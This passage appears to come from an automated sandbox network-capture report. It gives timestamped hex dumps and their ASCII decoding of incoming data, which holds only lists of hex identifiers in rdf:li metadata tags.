6c 69 3e 32 46 32 39 39 41 38 42 35 33 44 46 46 42 46 32 39 35 45 37 42 43 41 45 44 46 35 45 38 33 31 38 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 32 42 36 39 31 44 31 32 34 46 32 43 43 35 32 42 34 34 35 31 34 35 34 
46 42 45 30 44 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 32 46 34 43 43 44 45 42 44 41 42 36 
45 33 37 45 35 39 34 44 44 42 39 35 46 39 38 39 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 46 34 
41 39 32 43 35 31 34 44 32 43 41 46 44 43 35 38 34 32 36 36 44 42 31 41 
Data Ascii: 8D81DBFB26</rdf:li> <rdf:li>2F24F45593948A0B3ECB5D67EB461FD6</rdf:li> <rdf:li>2F299A8B53
DFFBF295E7BCAEDF5E8318</rdf:li> <rdf:li>2F2B691D124F2CC52B4451454FBE0D1A</rdf:li> <rdf:li>2F2F4CCDEB
DAB6E37E594DDB95F989FC</rdf:li> <rdf:li>2F4A92C514D2CAFDC584266DB1A

2022-06-08 07:56:16 UTC 2744 IN Data Raw: 41 32 42 45 41 32 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 38 38 41 45 36 32 46 32 
42 38 42 30 45 44 35 46 41 41 34 45 36 46 41 44 36 44 37 43 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 33 34 38 41 44 39 34 36 33 34 41 33 45 44 36 38 38 30 44 45 37 43 33 32 32 46 31 41 37 39 46 39 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 39 46 37 41 41 31 35 46 34 37 35 46 36 31 37 30 30 37 45 31 33 45 39 36 39 
34 41 32 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 41 32 32 39 37 44 30 35 37 43 31 39 35 37 
44 46 35 37 30 38 32 41 39 34 39 36 41 32 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 34 41 43 37 
30 35 34 34 39 44 43 44 41 37 38 43 33 42 41 32 30 46 37 39 32 37 46 39 
Data Ascii: A2BEA27B</rdf:li> <rdf:li>3488AE62F2B8B0ED5FAA4E6FAD6D7C19</rdf:li> <rdf:li>348AD94634A3
ED6880DE7C322F1A79F9</rdf:li> <rdf:li>349F7AA15F475F617007E13E9694A2DB</rdf:li> <rdf:li>34A2297D057C
1957DF57082A9496A269</rdf:li> <rdf:li>34AC705449DCDA78C3BA20F7927F9

2022-06-08 07:56:16 UTC 2855 IN Data Raw: 33 31 30 46 39 36 41 45 39 41 44 38 44 42 32 35 30 43 46 38 34 39 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 34 30 34 38 46 34 35 31 38 38 32 39 39 39 36 45 45 45 44 41 38 31 41 36 46 41 42 38 46 46 38 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 35 35 43 34 39 39 45 46 36 45 36 35 37 30 46 41 44 37 45 42 
42 44 39 41 44 44 31 32 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 35 41 31 30 31 34 45 34 33 4
6 44 30 36 30 45 37 37 30 31 31 35 30 39 33 30 46 38 36 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 
30 36 34 42 38 38 33 30 38 38 46 31 38 46 34 42 45 42 32 42 37 41 44 41 39 41 37 31 42 37 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 34 30 36 37 39 33 30 31 38 34 45 43 39 
Data Ascii: 310F96AE9AD8DB250CF849D8</rdf:li> <rdf:li>4048F4518829996EEEDA81A6FAB8FF88</rdf:li> <rdf
:li>4055C499EF6E6570FAD7EBBD9ADD1240</rdf:li> <rdf:li>405A1014E43FD060E7701150930F8604</rdf:li> <rdf
:li>4064B883088F18F4BEB2B7ADA9A71B70</rdf:li> <rdf:li>4067930184EC9

2022-06-08 07:56:16 UTC 2871 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 34 42 36 43 46 31 35 37 42 41 30 34 35 35 35 33 33 33 36 42 35 43 32 38 39 34 38 
39 35 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 42 36 46 45 43 37 41 32 34 36 30 44 42 44 45 
43 46 41 42 32 42 32 43 46 39 43 44 37 38 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 42 38 34 46 3
3 30 45 38 36 34 39 30 43 37 33 43 41 37 36 41 30 39 30 37 39 42 38 33 45 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 34 42 41 32 44 31 36 46 39 45 44 36 39 39 41 43 44 44 36 46 39 34 37 44 44 39 42 33 36 33 31 42 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 42 41 35 32 32 32 36 34 46 31 37 35 44 35 31 30 46 41 31 41 44 
42 44 32 36 33 44 39 37 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>4B6CF157BA045553336B5C2894895211</rdf:li> <rdf:li>4B6FEC7A2460DBDECFAB2B2CF9CD78
C2</rdf:li> <rdf:li>4B84F30E86490C73CA76A09079B83E33</rdf:li> <rdf:li>4BA2D16F9ED699ACDD6F947DD9B363
1B</rdf:li> <rdf:li>4BA522264F175D510FA1ADBD263D97B4</rdf:li> <rdf:

2022-06-08 07:56:16 UTC 2927 IN Data Raw: 64 66 3a 6c 69 3e 35 31 33 43 38 45 31 33 31 33 33 46 34 44 41 37 34 38 39 44 33 45 41 31 31 37 30 31 33 
30 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 34 42 36 43 36 34 45 31 35 36 34 32 42 44 42 33 
36 37 46 32 45 39 44 46 34 35 30 36 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 32 44 46 41 4
1 45 34 39 32 31 37 42 32 43 32 31 43 31 30 32 46 32 32 46 39 36 45 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 35 31 36 35 46 46 34 43 32 30 42 44 32 43 30 34 34 37 43 31 43 44 45 44 32 39 33 34 36 42 34 31 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 46 34 35 46 44 38 41 34 36 42 41 44 43 37 39 34 45 41 30 44 36 45 
45 31 43 37 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>513C8E13133F4DA7489D3EA117013087</rdf:li> <rdf:li>514B6C64E15642BDB367F2E9DF45065E
</rdf:li> <rdf:li>5162DFAAE49217B2C21C102F22F96EFB</rdf:li> <rdf:li>5165FF4C20BD2C0447C1CDED29346B41
</rdf:li> <rdf:li>516F45FD8A46BADC794EA0D6EE1C7EAA</rdf:li> <rdf:li

2022-06-08 07:56:16 UTC 2998 IN Data Raw: 3e 35 44 35 42 38 41 32 31 39 43 41 42 36 33 35 44 30 34 37 45 46 44 34 38 46 42 44 31 30 31 34 45 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 36 37 46 42 43 30 45 34 32 39 30 38 31 46 38 35 33 41 33 37 39 
42 41 41 35 45 31 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 36 37 46 44 36 30 44 32 32 46 3
8 42 45 37 37 43 39 42 36 31 36 32 35 32 41 44 41 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 
36 46 46 42 45 35 42 45 45 34 38 39 41 43 42 37 46 33 42 36 44 32 35 34 38 39 41 45 34 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 35 44 37 36 43 30 43 42 39 35 38 43 36 35 42 44 42 43 33 46 32 33 45 42 35 44 43 39 41 41 
45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 39 39 
Data Ascii: >5D5B8A219CAB635D047EFD48FBD1014E</rdf:li> <rdf:li>5D67FBC0E429081F853A379BAA5E1868</rdf:li> 
<rdf:li>5D67FD60D22F8BE77C9B616252ADAD98</rdf:li> <rdf:li>5D6FFBE5BEE489ACB7F3B6D25489AE40</rdf:li> 
<rdf:li>5D76C0CB958C65BDBC3F23EB5DC9AAEB</rdf:li> <rdf:li>5D99

2022-06-08 07:56:16 UTC 3078 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 46 42 33 46 38 31 31 31 41 45 36 31 42 41 45 42 32 
38 44 39 43 37 32 39 36 32 35 32 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 30 31 39 45 41 31 
33 35 43 30 38 38 44 31 43 37 34 46 34 35 41 34 44 41 46 45 41 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 36 41 30 46 30 38 35 35 42 41 41 37 35 43 31 44 32 30 46 43 41 38 39 38 39 42 46 44 31 34 32 41 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 31 34 30 46 45 44 36 36 37 42 44 43 43 41 31 36 41 37 45 44 33 42 46 
44 45 35 33 41 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 31 41 34 32 39 33 42 45 44 38 41 34 
30 36 45 34 32 46 42 36 35 30 30 46 44 37 38 42 32 45 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>69FB3F8111AE61BAEB28D9C729625253</rdf:li> <rdf:li>6A019EA135C088D1C74F4
5A4DAFEA96F</rdf:li> <rdf:li>6A0F0855BAA75C1D20FCA8989BFD142A</rdf:li> <rdf:li>6A140FED667BDCCA16A7E
D3BFDE53AA7</rdf:li> <rdf:li>6A1A4293BED8A406E42FB6500FD78B2E</rdf:

2022-06-08 07:56:16 UTC 3125 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 45 42 41 41 43 45 45 46 41 46 30 43 33 43 36 30 30 31 
32 43 39 43 35 34 39 41 33 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 45 43 42 38 39 41 39 
42 38 38 36 41 30 41 42 31 44 37 46 46 38 30 37 30 38 34 31 46 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 36 46 45 44 42 30 45 45 41 43 38 36 38 45 35 39 33 33 33 41 37 31 35 35 44 46 39 41 41 44 42 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 46 33 32 36 33 46 46 46 45 46 44 35 42 39 33 41 46 39 41 37 34 38 30 36 
32 35 34 41 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 46 33 46 36 44 38 39 35 32 38 42 36 36 
45 38 46 36 37 45 30 31 36 36 46 32 44 32 31 31 44 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>6FEBAACEEFAF0C3C60012C9C549A32EB</rdf:li> <rdf:li>6FECB89A9B886A0AB1D7FF8
070841F74</rdf:li> <rdf:li>6FEDB0EEAC868E59333A7155DF9AADB4</rdf:li> <rdf:li>6FF3263FFFEFD5B93AF9A74
806254A8F</rdf:li> <rdf:li>6FF3F6D89528B66E8F67E0166F2D211D</rdf:li
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2022-06-08 07:56:16 UTC 3181 IN Data Raw: 32 39 44 41 42 46 33 30 33 31 31 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 33 43 39 
33 33 35 32 38 34 35 42 39 37 37 34 39 42 37 45 39 38 36 42 34 46 31 33 38 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 37 43 34 34 30 30 35 41 38 36 46 42 43 41 33 38 45 37 39 46 45 38 43 38 30 37 31 41 39 34 37 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 34 41 41 44 45 37 46 41 42 45 36 45 32 32 31 34 41 36 35 37 
46 34 44 38 46 39 46 46 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 34 44 46 46 34 34 45 30 31 
36 30 36 45 35 30 31 39 34 44 34 39 31 36 31 44 42 32 33 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
37 43 36 32 36 45 38 37 34 30 32 35 46 39 34 36 42 32 34 37 36 46 39 44 
Data Ascii: 29DABF3031170</rdf:li> <rdf:li>7C3C93352845B97749B7E986B4F13807</rdf:li> <rdf:li>7C44005
A86FBCA38E79FE8C8071A9477</rdf:li> <rdf:li>7C4AADE7FABE6E2214A657F4D8F9FFEB</rdf:li> <rdf:li>7C4DFF4
4E01606E50194D49161DB23B0</rdf:li> <rdf:li>7C626E874025F946B2476F9D

2022-06-08 07:56:16 UTC 3197 IN Data Raw: 32 31 37 41 41 44 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 32 45 41 37 39 30 34 34 
31 36 39 41 36 35 34 30 43 34 37 39 46 46 36 31 35 45 31 38 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 38 37 32 45 45 35 37 38 37 38 41 43 32 32 31 45 36 33 38 38 30 32 32 42 36 34 46 31 39 32 32 36 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 32 46 46 44 41 32 37 30 36 39 34 46 42 33 46 30 34 33 33 43 30 39 30 38 36 
37 34 33 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 33 32 37 45 38 30 44 44 35 41 44 31 37 30 
42 46 37 34 38 39 35 30 33 35 37 36 41 41 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 33 32 39 
41 43 35 43 41 46 42 42 44 39 31 46 34 33 44 30 39 39 45 34 42 41 38 32 
Data Ascii: 217AADB4</rdf:li> <rdf:li>872EA79044169A6540C479FF615E1852</rdf:li> <rdf:li>872EE57878AC
221E6388022B64F19226</rdf:li> <rdf:li>872FFDA270694FB3F0433C0908674364</rdf:li> <rdf:li>87327E80DD5A
D170BF7489503576AAB2</rdf:li> <rdf:li>87329AC5CAFBBD91F43D099E4BA82

2022-06-08 07:56:16 UTC 3261 IN Data Raw: 30 30 36 32 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 45 32 42 38 32 32 39 32 36 33 
44 38 39 35 36 30 43 32 38 41 31 43 30 46 33 33 39 33 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 
42 45 33 42 35 46 41 31 35 41 31 41 35 31 42 46 39 35 42 45 38 38 46 34 46 42 45 35 37 42 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 38 42 46 30 32 45 41 41 36 45 46 31 42 44 35 33 46 32 33 45 46 44 30 31 35 41 33 44 36 
37 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 46 33 43 41 41 36 38 46 37 33 37 46 45 33 37 39 
45 39 33 34 46 31 33 33 44 41 37 37 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 30 43 34 31 38 
32 31 41 31 36 45 33 43 33 31 46 41 34 45 32 36 39 39 35 37 31 30 38 43 
Data Ascii: 00628B</rdf:li> <rdf:li>8BE2B8229263D89560C28A1C0F339337</rdf:li> <rdf:li>8BE3B5FA15A1A5
1BF95BE88F4FBE57B6</rdf:li> <rdf:li>8BF02EAA6EF1BD53F23EFD015A3D6720</rdf:li> <rdf:li>8BF3CAA68F737F
E379E934F133DA774D</rdf:li> <rdf:li>8C0C41821A16E3C31FA4E269957108C

2022-06-08 07:56:16 UTC 3341 IN Data Raw: 32 36 39 44 39 45 36 42 31 36 33 43 33 45 44 38 43 39 34 43 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 39 38 35 36 36 46 46 35 32 34 39 35 43 31 32 31 43 36 39 37 35 38 33 33 46 45 30 34 41 44 43 37 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 35 41 39 45 42 35 31 41 46 42 45 31 35 38 46 41 37 37 34 32 46 44 
35 42 45 32 41 38 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 36 33 34 30 45 42 37 36 33 39 31 3
1 39 39 31 37 32 37 34 35 35 31 36 30 42 31 32 32 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 38 36 
37 35 45 42 32 31 41 33 41 32 32 45 41 46 35 37 37 34 34 45 45 42 43 31 33 39 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 38 37 33 33 39 31 32 44 46 30 35 45 38 32 
Data Ascii: 269D9E6B163C3ED8C94C4B</rdf:li> <rdf:li>98566FF52495C121C6975833FE04ADC7</rdf:li> <rdf:l
i>985A9EB51AFBE158FA7742FD5BE2A8D4</rdf:li> <rdf:li>986340EB763911991727455160B12201</rdf:li> <rdf:l
i>98675EB21A3A22EAF57744EEBC139D4D</rdf:li> <rdf:li>98733912DF05E82

2022-06-08 07:56:16 UTC 3357 IN Data Raw: 64 66 3a 6c 69 3e 41 33 46 46 34 30 41 41 34 39 43 31 37 31 41 38 31 35 41 31 37 42 37 31 44 43 46 31 34 
46 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 30 38 42 43 36 36 43 46 46 33 41 45 34 33 35 43 
34 42 46 43 42 38 46 35 42 34 42 30 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 30 43 32 44 30 4
6 35 33 36 41 39 41 37 37 35 31 46 38 43 42 46 33 33 35 31 42 30 39 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 41 34 31 37 44 44 33 41 45 30 30 45 37 30 43 45 44 33 38 32 37 36 31 31 39 37 32 41 32 43 43 41 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 32 37 45 37 32 31 44 41 43 46 44 46 33 45 33 45 31 42 46 39 39 39 38 
43 37 44 36 44 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>A3FF40AA49C171A815A17B71DCF14FD5</rdf:li> <rdf:li>A408BC66CFF3AE435C4BFCB8F5B4B093
</rdf:li> <rdf:li>A40C2D0F536A9A7751F8CBF3351B0940</rdf:li> <rdf:li>A417DD3AE00E70CED3827611972A2CCA
</rdf:li> <rdf:li>A427E721DACFDF3E3E1BF9998C7D6D0E</rdf:li> <rdf:li

2022-06-08 07:56:16 UTC 3365 IN Data Raw: 3a 6c 69 3e 41 39 33 41 37 38 41 32 35 46 35 44 31 42 33 43 34 32 44 39 35 43 30 37 44 43 38 39 31 44 43 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 35 46 31 34 39 41 46 38 43 32 36 38 46 35 43 46 42 37 
31 38 46 32 44 38 46 41 35 36 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 37 30 30 35 41 38 32 3
1 30 31 45 45 36 35 46 37 45 46 33 31 39 30 35 42 39 36 30 34 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 41 39 37 33 30 37 34 38 32 38 43 42 43 30 46 34 45 43 41 41 39 44 33 39 45 31 36 37 34 34 31 34 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 37 35 31 32 34 36 41 36 36 41 44 32 34 37 37 43 44 42 37 34 45 43 45 38 34 
41 31 42 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 
Data Ascii: :li>A93A78A25F5D1B3C42D95C07DC891DCD</rdf:li> <rdf:li>A95F149AF8C268F5CFB718F2D8FA56B5</
rdf:li> <rdf:li>A97005A82101EE65F7EF31905B9604F5</rdf:li> <rdf:li>A973074828CBC0F4ECAA9D39E1674414</rdf:li> 
<rdf:li>A9751246A66AD2477CDB74ECE84A1BEC</rdf:li> <rdf:li>A

2022-06-08 07:56:16 UTC 3430 IN Data Raw: 6c 69 3e 41 39 46 33 31 37 34 44 37 37 35 33 36 44 36 43 32 34 37 44 41 45 31 32 33 44 41 31 46 39 37 33 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 46 35 46 32 33 37 46 38 42 46 43 42 33 31 30 44 30 30 43 
41 36 45 36 45 36 30 36 34 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 39 46 41 33 38 46 44 41 45 3
1 36 33 45 35 42 45 42 39 30 30 42 41 41 30 32 37 44 42 31 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
41 39 46 44 38 45 42 41 38 45 33 39 33 34 31 32 39 32 43 35 33 32 33 41 43 41 38 45 32 44 44 34 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 30 37 34 46 46 45 46 30 41 46 46 32 33 32 41 36 42 34 46 42 39 31 36 42 31 44 
46 34 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 41 
Data Ascii: li>A9F3174D77536D6C247DAE123DA1F973</rdf:li> <rdf:li>A9F5F237F8BFCB310D00CA6E6E6064E5</r
df:li> <rdf:li>A9FA38FDAE163E5BEB900BAA027DB13A</rdf:li> <rdf:li>A9FD8EBA8E39341292C5323ACA8E2DD4</r
df:li> <rdf:li>AA074FFEF0AFF232A6B4FB916B1DF472</rdf:li> <rdf:li>AA

2022-06-08 07:56:16 UTC 3542 IN Data Raw: 36 36 30 41 30 45 36 45 34 32 41 34 32 37 45 36 43 45 31 35 42 42 32 44 42 42 43 30 30 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 37 33 35 30 37 35 37 43 39 32 33 37 39 33 39 38 30 42 39 30 33 38 42 31 
35 33 38 46 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 37 33 37 30 38 38 32 44 44 43 43 39 44 3
4 42 45 39 33 31 42 32 45 36 44 44 45 43 42 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 37 34 36 
35 44 32 45 34 43 46 41 33 43 31 37 42 30 35 43 42 39 46 32 36 46 33 31 33 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 42 35 38 37 36 33 38 41 38 38 34 34 32 30 34 45 39 41 39 35 36 35 39 43 39 38 42 36 46 45 44 42 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 38 38 34 39 38 
Data Ascii: 660A0E6E42A427E6CE15BB2DBBC005</rdf:li> <rdf:li>B57350757C923793980B9038B1538F21</rdf:li> 
<rdf:li>B57370882DDCC9D4BE931B2E6DDECBD6</rdf:li> <rdf:li>B57465D2E4CFA3C17B05CB9F26F3131B</rdf:li> 
<rdf:li>B587638A8844204E9A95659C98B6FEDB</rdf:li> <rdf:li>B588498
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2022-06-08 07:56:16 UTC 3558 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 31 33 31 44 31 37 45 44 41 42 38 33 34 37 33 34 39 32 39 39 
46 44 43 45 37 38 32 44 42 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 31 34 41 33 33 33 31 43 37 
31 32 42 42 33 38 42 33 43 46 43 33 46 33 45 41 41 42 37 33 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 43 31 35 36 36 45 34 32 38 43 46 32 42 31 41 39 32 35 33 46 43 31 46 38 46 44 31 34 35 34 46 37 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 43 31 36 45 34 43 43 35 36 36 44 33 39 32 44 34 42 32 32 30 30 43 37 42 46 34 34 36 
31 46 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 31 37 31 33 43 36 46 44 38 41 41 42 37 33 33 35 
45 35 39 31 33 36 38 43 39 45 44 31 41 41 31 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: f:li> <rdf:li>C131D17EDAB8347349299FDCE782DBED</rdf:li> <rdf:li>C14A3331C712BB38B3CFC3F3
EAAB7358</rdf:li> <rdf:li>C1566E428CF2B1A9253FC1F8FD1454F7</rdf:li> <rdf:li>C16E4CC566D392D4B2200C7B
F4461FA5</rdf:li> <rdf:li>C1713C6FD8AAB7335E591368C9ED1AA1</rdf:li>

2022-06-08 07:56:16 UTC 3658 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 35 31 41 30 43 41 38 31 32 44 32 30 46 45 44 41 31 42 38 45 
30 38 37 38 42 44 34 46 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 36 41 45 43 34 39 31 45 32 
46 34 34 41 30 32 37 32 32 45 42 39 44 43 35 46 45 37 36 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 4
3 36 37 30 35 45 45 33 30 35 43 35 34 45 39 39 35 31 38 46 38 45 31 37 35 33 37 37 34 43 33 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 43 36 37 37 37 42 33 31 37 38 31 32 36 44 46 39 37 39 41 32 36 39 42 41 37 33 34 38 35 
45 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 36 37 46 32 44 39 35 45 42 34 42 42 37 41 45 35 32 
42 46 35 37 38 42 38 45 46 36 30 38 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>C651A0CA812D20FEDA1B8E0878BD4F11</rdf:li> <rdf:li>C66AEC491E2F44A02722EB9DC
5FE7688</rdf:li> <rdf:li>C6705EE305C54E99518F8E1753774C3B</rdf:li> <rdf:li>C6777B3178126DF979A269BA7
3485EC0</rdf:li> <rdf:li>C67F2D95EB4BB7AE52BF578B8EF60858</rdf:li> 

2022-06-08 07:56:16 UTC 3746 IN Data Raw: 43 41 32 46 30 36 30 43 42 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 31 32 44 31 39 34 
33 31 43 39 46 42 33 33 36 44 38 41 45 37 43 36 32 32 45 33 42 43 31 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 44 31 33 35 37 41 46 36 34 44 37 34 38 32 45 46 44 39 33 33 38 44 34 37 35 44 41 33 45 43 38 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 31 34 42 33 35 33 39 33 30 39 32 38 31 31 31 30 30 32 30 46 35 36 33 
43 31 33 35 36 31 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 31 36 31 45 30 43 30 41 32 30 37 45 
32 43 30 42 43 32 42 39 38 35 35 32 45 37 43 46 37 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 31 
36 33 35 31 30 32 34 41 36 37 38 34 38 38 43 34 30 31 42 31 43 41 37 34 
Data Ascii: CA2F060CBB9</rdf:li> <rdf:li>D12D19431C9FB336D8AE7C622E3BC11F</rdf:li> <rdf:li>D1357AF64
D7482EFD9338D475DA3EC84</rdf:li> <rdf:li>D14B3539309281110020F563C13561C6</rdf:li> <rdf:li>D161E0C0A
207E2C0BC2B98552E7CF701</rdf:li> <rdf:li>D16351024A678488C401B1CA74

2022-06-08 07:56:16 UTC 3762 IN Data Raw: 42 43 39 39 45 46 35 34 34 44 33 43 43 39 46 34 31 35 30 31 45 45 31 32 41 37 36 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 44 44 34 39 39 43 31 33 30 33 37 36 41 33 44 31 38 38 32 43 33 35 33 39 46 43 45 43 34 45 
